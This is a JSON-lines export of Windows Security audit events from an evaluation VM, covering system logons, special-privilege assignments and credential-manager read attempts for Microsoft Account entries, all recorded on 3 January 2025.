{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:30.354707Z"}},"EventRecordID":21122,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:30.354713Z"}},"EventRecordID":21123,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:31.155805Z"}},"EventRecordID":21124,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:31.155811Z"}},"EventRecordID":21125,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:38.398918Z"}},"EventRecordID":21126,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:38.398923Z"}},"EventRecordID":21127,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:44.193080Z"}},"EventRecordID":21128,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:44.193179Z"}},"EventRecordID":21129,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:44.193812Z"}},"EventRecordID":21130,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:44.485549Z"}},"EventRecordID":21131,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:44.529670Z"}},"EventRecordID":21132,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:44.547459Z"}},"EventRecordID":21133,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:44.547559Z"}},"EventRecordID":21134,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.048513Z"}},"EventRecordID":21135,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.048689Z"}},"EventRecordID":21136,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.049351Z"}},"EventRecordID":21137,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.401824Z"}},"EventRecordID":21138,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.401891Z"}},"EventRecordID":21139,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.402269Z"}},"EventRecordID":21140,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.541504Z"}},"EventRecordID":21141,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.549253Z"}},"EventRecordID":21142,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.563612Z"}},"EventRecordID":21143,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.563657Z"}},"EventRecordID":21144,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.695272Z"}},"EventRecordID":21145,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.695640Z"}},"EventRecordID":21146,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
